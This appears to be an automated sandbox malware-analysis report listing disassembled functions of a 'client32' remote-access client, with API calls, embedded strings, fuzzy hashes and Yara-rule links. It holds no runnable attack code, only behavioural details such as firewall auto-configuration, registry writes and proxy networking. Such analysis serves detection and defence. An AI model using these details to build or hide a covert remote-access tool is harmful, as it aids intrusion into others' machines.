Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CreateFileFromInitializeInstanceModuleNameProgUninitialize__wcstoi64_free_memset_strrchr
String ID: *AutoICFConfig$Client$ICFConfig2 returned 0x%x
API String ID: 3753348462-81074719
Opcode ID: d6a938e01ba48f2098115e7c25638f1083b752ba40fe7202dab8389a74f7b7bb
Instruction ID: efd7c66bd05c6e10d55467fd07ad58ab98d8359d2b254dc54f01deb450eb345c
Opcode Fuzzy Hash: d6a938e01ba48f2098115e7c25638f1083b752ba40fe7202dab8389a74f7b7bb
Instruction Fuzzy Hash: D1213879E0061966D750DB649C06FDBF7A89F4670CF404198FE08A61C0EEF1AA80CAE1

Function 11133F90 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 146COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,11182A50), ref: 11133FFD
SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1110291B), ref: 1113403E
SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 1113409B

Part of subcall function 11027FB0: GetLastError.KERNEL32(?,00000000,?), ref: 11027FCC
Part of subcall function 11027FB0: wsprintfA.USER32 ref: 11028017
Part of subcall function 11027FB0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11028053
Part of subcall function 11027FB0: ExitProcess.KERNEL32 ref: 11028069

Strings

nsmdir < GP_MAX, xrefs: 11133FBC
..\ctl32\util.cpp, xrefs: 11133FB7, 11134059
FALSE || !"wrong nsmdir", xrefs: 1113405E

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: FolderPath$ErrorExitFileLastMessageModuleNameProcesswsprintf
String ID: ..\ctl32\util.cpp$FALSE || !"wrong nsmdir"$nsmdir < GP_MAX
API String ID: 3494822531-1878648853
Opcode ID: 79dec2e5e86b3296e7b7cbf95b33fee3af2b2340604abb3e6bf60fc7f45b26ba
Instruction ID: cecf8e71dd9fb6e936cb624b8a237d093ff43f0dbaa42a0567fc90792f6e72d7
Opcode Fuzzy Hash: 79dec2e5e86b3296e7b7cbf95b33fee3af2b2340604abb3e6bf60fc7f45b26ba
Instruction Fuzzy Hash: 3351BA3AE5461A5BDB11CB249D14BDEFBB4AF80318F0001E4DCC977288DA71AA84CBD2

Function 110FA7D0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 115libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 11102970: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,7774C3F0,?,1110371D,00000000,00000001,?,?,?,?,?,1102F49F), ref: 1110298E

Part of subcall function 11102870: _malloc.LIBCMT ref: 11102889
Part of subcall function 11102870: wsprintfA.USER32 ref: 111028A4
Part of subcall function 11102870: _memset.LIBCMT ref: 111028C7

LoadLibraryA.KERNEL32(Wtsapi32.dll,00000000,00000000,11177D16,000000FF), ref: 110FA8A3
LoadLibraryA.KERNEL32(Advapi32.dll), ref: 110FA8EC
std::exception::exception.LIBCMT ref: 110FA94E
__CxxThrowException@8.LIBCMT ref: 110FA963

Strings

Advapi32.dll, xrefs: 110FA8A5
Wtsapi32.dll, xrefs: 110FA89E

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad$CreateEventException@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID: Advapi32.dll$Wtsapi32.dll
API String ID: 2851125068-2390547818
Opcode ID: 7b5a67d0d7e6fc342c5240c02ecf1f6de07eae797b0811734f0d9ddd45c46463
Instruction ID: 76f8521da47cb9eef126f9e1764ac0a5dc6ee811a268475dced5a0fa713519db
Opcode Fuzzy Hash: 7b5a67d0d7e6fc342c5240c02ecf1f6de07eae797b0811734f0d9ddd45c46463
Instruction Fuzzy Hash: 0841F1B5C09B449EC761CF6A8980BDAFBE8FFA9604F00495ED5AEA3210D7787500CF65

Function 6C8115D0 Relevance: 10.6, APIs: 7, Instructions: 115COMMON

Download Yara Rule

APIs

_calloc.LIBCMT ref: 6C81160B
GetTickCount.KERNEL32 ref: 6C81165D
InterlockedExchange.KERNEL32(-00039134,00000000), ref: 6C811668
_calloc.LIBCMT ref: 6C811688
_memmove.LIBCMT ref: 6C811696
InterlockedDecrement.KERNEL32(-0003918C), ref: 6C8116CC
SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,937B54B7), ref: 6C8116D9

Part of subcall function 6C8110C0: wsprintfA.USER32 ref: 6C811147

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: Interlocked_calloc$CountDecrementEventExchangeTick_memmovewsprintf
String ID:
API String ID: 3178096747-0
Opcode ID: fed8ba477ed2ee8269c56ed533f62f5e53b792cd63b4b2c97f690568db2dc26f
Instruction ID: 2dd805cbc3e82c774394cb6a38eed57c01178da63f2cd172c5095af0a50311a8
Opcode Fuzzy Hash: fed8ba477ed2ee8269c56ed533f62f5e53b792cd63b4b2c97f690568db2dc26f
Instruction Fuzzy Hash: B64171B1D04209AFDB20CFA8C944AEFB7F8AB58304F44892AE505E7640E775DA44CBE0

Function 11129720 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 68COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1112974A
GetTickCount.KERNEL32 ref: 11129751

Strings

AutoICFConfig, xrefs: 11129770
DoICFConfig() OK, xrefs: 111297F6
Client, xrefs: 11129775
DesktopTimerProc - Further ICF config checking will not be performed, xrefs: 1112980C

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick
String ID: AutoICFConfig$Client$DesktopTimerProc - Further ICF config checking will not be performed$DoICFConfig() OK
API String ID: 536389180-1512301160
Opcode ID: aff00621680e15bca7df80a477e2c46395d09f16941bc071ca53205ca28342e8
Instruction ID: 786b3b8ff38a1ee801cdeddb6cd7e762267a6f84b7e4e6377bde446301b07f06
Opcode Fuzzy Hash: aff00621680e15bca7df80a477e2c46395d09f16941bc071ca53205ca28342e8
Instruction Fuzzy Hash: 0221C674E062FDADEF118E38AA88785FA8257403ADF54047DED1546288FBE45540CB91

Function 6C807B70 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 61COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,007C46C7,6C8119A4,00000000,00000000,6C8119A4,00000007,?,6C807C54,?,6C8119A4,00000001,00000000,-000391A4,6C8119A4), ref: 6C807BB1

Strings

hbuf->buflen - hbuf->datalen >= min_bytes_to_read, xrefs: 6C807B93
ReadSocket - Error %d reading response, xrefs: 6C807BE9
e:\nsmsrc\nsn\300\cva_300f1\ctl32\htctl.c, xrefs: 6C807B8E
ReadSocket - Connection has been closed by peer, xrefs: 6C807BCF

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID:
String ID: ReadSocket - Connection has been closed by peer$ReadSocket - Error %d reading response$e:\nsmsrc\nsn\300\cva_300f1\ctl32\htctl.c$hbuf->buflen - hbuf->datalen >= min_bytes_to_read
API String ID: 0-2647837471
Opcode ID: 0d27cf2a4455b6e5b790ed44da2296d4b5b87c1b9a1ee6fe6289d00e1b3d877f
Instruction ID: 91f4cb387d1b7520b011c73515db2cffb9fb0263c8b5624b0e9b5b6f07a5b1b8
Opcode Fuzzy Hash: 0d27cf2a4455b6e5b790ed44da2296d4b5b87c1b9a1ee6fe6289d00e1b3d877f
Instruction Fuzzy Hash: 210192777156046FF6209DBCFE40EA6B3D9EB94238F105C3AF90CC3B04E621E80542A0

Function 11024B50 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 54libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,GetProcessImageFileNameA), ref: 11024B66
K32GetProcessImageFileNameA.KERNEL32(?,?,?,110FA74F,00000000,00000000,?,110F9A67,00000000,?,00000104), ref: 11024B82
GetProcAddress.KERNEL32(?,GetModuleFileNameExA), ref: 11024B96
SetLastError.KERNEL32(00000078,110FA74F,00000000,00000000,?,110F9A67,00000000,?,00000104), ref: 11024BB9

Strings

GetModuleFileNameExA, xrefs: 11024B90
GetProcessImageFileNameA, xrefs: 11024B60

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ErrorFileImageLastNameProcess
String ID: GetModuleFileNameExA$GetProcessImageFileNameA
API String ID: 4186647306-532032230
Opcode ID: 84560621c8239c997dca9898e9568f965929ea78fcfc08c59426f9e676b42ff4
Instruction ID: d3a79397b9aca74b41b2e47cdc2cb53976e07f1183ce263d33de4038ac76f0b1
Opcode Fuzzy Hash: 84560621c8239c997dca9898e9568f965929ea78fcfc08c59426f9e676b42ff4
Instruction Fuzzy Hash: 3C011B76B40614AFD721DEA5DC84F5BB7FCEB88665F01492AE985D6640D630E8008BA0

Function 11102700 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 52synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,7774C3F0,00000000,?,11103735,111032D0,00000001,00000000), ref: 11102717
CreateThread.KERNEL32(00000000,11103735,00000001,00000000,00000000,0000000C), ref: 1110273A
WaitForSingleObject.KERNEL32(?,000000FF,?,11103735,111032D0,00000001,00000000,?,?,?,?,?,1102F49F), ref: 11102767
CloseHandle.KERNEL32(?,?,11103735,111032D0,00000001,00000000,?,?,?,?,?,1102F49F), ref: 11102771

Strings

hThread, xrefs: 11102750
..\ctl32\Refcount.cpp, xrefs: 1110274B

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Create$CloseEventHandleObjectSingleThreadWait
String ID: ..\ctl32\Refcount.cpp$hThread
API String ID: 3360349984-1136101629
Opcode ID: 11b5fb0dee8cbdce21d593dae7f6460e58f7565787492cb323c1118e16b37232
Instruction ID: 500c2b3c3357f9213b13d9fe8d1126e8dc21d1a7e49489592dffc9e6a9027773
Opcode Fuzzy Hash: 11b5fb0dee8cbdce21d593dae7f6460e58f7565787492cb323c1118e16b37232
Instruction Fuzzy Hash: 1C01717A7007116FE3218E95DC85F9BFBA8EB56764F108528FA15962C0D770E4058BB0

Function 11109440 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000002,System\CurrentControlSet\Control\GraphicsDrivers\DCI,00000000,0002001F,?), ref: 1110946F
RegCloseKey.ADVAPI32(00000000), ref: 111094A7
RegSetValueExA.ADVAPI32(00000000,Timeout,00000000,00000004,00000000,00000004), ref: 111094C3
RegCloseKey.ADVAPI32(00000000), ref: 111094CD

Part of subcall function 11132450: RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110291B,75A38400,?,?,1113451F,00000000,CSDVersion,00000000,00000000,?), ref: 11132470

Strings

Timeout, xrefs: 1110948E, 111094BD
System\CurrentControlSet\Control\GraphicsDrivers\DCI, xrefs: 1110945E

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseValue$OpenQuery
String ID: System\CurrentControlSet\Control\GraphicsDrivers\DCI$Timeout
API String ID: 3962714758-504756767
Opcode ID: 593e1dd38c13c10e7a4daff4c42b3bccf59c301c76992b28c9cb3cfbd63388de
Instruction ID: e2b4fe1a7407c51d3679897667db751a92ae8154eaac79b11ee734c705fb4573
Opcode Fuzzy Hash: 593e1dd38c13c10e7a4daff4c42b3bccf59c301c76992b28c9cb3cfbd63388de
Instruction Fuzzy Hash: 33019279B40209FFEB00EF90DD4AFAEF778AB44709F008045FE18A7184D6B0A614DBA1

Function 1102FD80 Relevance: 9.0, APIs: 1, Strings: 5, Instructions: 28COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1102FDC7

Strings

_HF, xrefs: 1102FDA8, 1102FDAD
494126, xrefs: 1102FDAE
_HW, xrefs: 1102FD90
%s%s%s.bin, xrefs: 1102FDC1
_SW, xrefs: 1102FD9C

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %s%s%s.bin$494126$_HF$_HW$_SW
API String ID: 2111968516-430959295
Opcode ID: 5343a590b740c9c9738c92f8b8acd3bf342b6db108878fabbc709ed31f555550
Instruction ID: c25928671520f454b92b43ec0ad7b42779770566938daa2e780b2e5a9d994659
Opcode Fuzzy Hash: 5343a590b740c9c9738c92f8b8acd3bf342b6db108878fabbc709ed31f555550
Instruction Fuzzy Hash: CBE09260D0420C2BF600A1488C05BDBBB9F1740399FC0C044BEABAA286FD249400869B

Function 6C814F90 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 158COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 6C814FA1

Part of subcall function 6C8161A0: _memset.LIBCMT ref: 6C8161BF
Part of subcall function 6C8161A0: _strncpy.LIBCMT ref: 6C8161CB

Part of subcall function 6C808C00: EnterCriticalSection.KERNEL32(6C849898,?,?,00000000,?,6C80C0C1,?,00000000), ref: 6C808C23
Part of subcall function 6C808C00: InterlockedExchange.KERNEL32(?,00000000), ref: 6C808C88
Part of subcall function 6C808C00: Sleep.KERNEL32(00000000,?,6C80C0C1,?,00000000), ref: 6C808C9E
Part of subcall function 6C808C00: LeaveCriticalSection.KERNEL32(6C849898,00000000), ref: 6C808CD0

Strings

Publish %d pending services, xrefs: 6C8150D7
1.2, xrefs: 6C814FD3
Client, xrefs: 6C81510A
Channel, xrefs: 6C815105

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C84C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755242929.000000006C84F000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_6c800000_client32.jbxd

Similarity

API ID: CriticalSection$CountEnterExchangeInterlockedLeaveSleepTick_memset_strncpy
String ID: 1.2$Channel$Client$Publish %d pending services
API String ID: 1112461860-1140593649
Opcode ID: afeb91311d3ef3211a531bbd5da6b6790a90067503532aef1c584e6de41ca460
Instruction ID: 5fdeb0a8509b6a8b6b89e4219af773b3e0a8cda93bf18bf3be81b68c3ca02318
Opcode Fuzzy Hash: afeb91311d3ef3211a531bbd5da6b6790a90067503532aef1c584e6de41ca460
Instruction Fuzzy Hash: F251CF30B083468FEB31EAA99F44BAA37F5AB1231CF248D39D451C6E81E7759148C7D2

Function 110F6190 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 90registryCOMMON

Download Yara Rule

APIs

GlobalAddAtomA.KERNEL32(NSMDesktopWnd), ref: 110F61E3
GetStockObject.GDI32(00000004), ref: 110F623B
RegisterClassA.USER32(?), ref: 110F624F
CreateWindowExA.USER32(00000000,NSMDesktopWnd,?,00000000,00000000,00000000,00000000,00000000,00100000,00000000,00000000,00000000), ref: 110F628A

Strings

NSMDesktopWnd, xrefs: 110F61C9, 110F6248, 110F6284

Memory Dump Source

Source File: 0000000B.00000002.3754579299.0000000011001000.00000020.00000001.01000000.00000008.sdmp, Offset: 11000000, based on PE: true

Associated: 0000000B.00000002.3754555931.0000000011000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754701171.0000000011181000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111CD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754755220.00000000111DC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.00000000111E1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.000000001120E000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011210000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011213000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011215000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011241000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000B.00000002.3754814766.0000000011332000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AtomClassCreateGlobalObjectRegisterStockWindow
String ID: NSMDesktopWnd
API String ID: 2669163067-206650970
Opcode ID: 173f293a3e361e7ef0e65a549ff519908d5edf4eb24d47ef909566306d25e691
Instruction ID: 346a4b555008fa5bb99351eae23e3b1030b3e8e24f27a1909c2d26c4daee2dcd
Opcode Fuzzy Hash: 173f293a3e361e7ef0e65a549ff519908d5edf4eb24d47ef909566306d25e691
Instruction Fuzzy Hash: 0F31E5B5D05659AFCB40DFA9D884A9EFBF8FB09714F50862EE819E3244E7345900CB94

Function 6C804FD0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84networkCOMMON

Download Yara Rule

APIs

Part of subcall function 6C818210: _strncpy.LIBCMT ref: 6C818234

inet_addr.WSOCK32(?,?,?,?,?,?,00002000,Gateway_WebProxy,00000000), ref: 6C805051
gethostbyname.WSOCK32(?,?,?,?,?,?,00002000,Gateway_WebProxy,00000000), ref: 6C805062
WSAGetLastError.WSOCK32(?,?,?,?,?,?,00002000,Gateway_WebProxy,00000000), ref: 6C80508D

Strings

Cannot resolve hostname %s, error %d, xrefs: 6C805096
Gateway_WebProxy, xrefs: 6C804FEA

Memory Dump Source

Source File: 0000000B.00000002.3755108701.000000006C801000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6C800000, based on PE: true

Associated: 0000000B.00000002.3755083319.000000006C800000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755148279.000000006C83E000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755174428.000000006C847000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.3755197287.000000006C848000.00000004.00000001.01000000.0000000C.sdmpDownload File
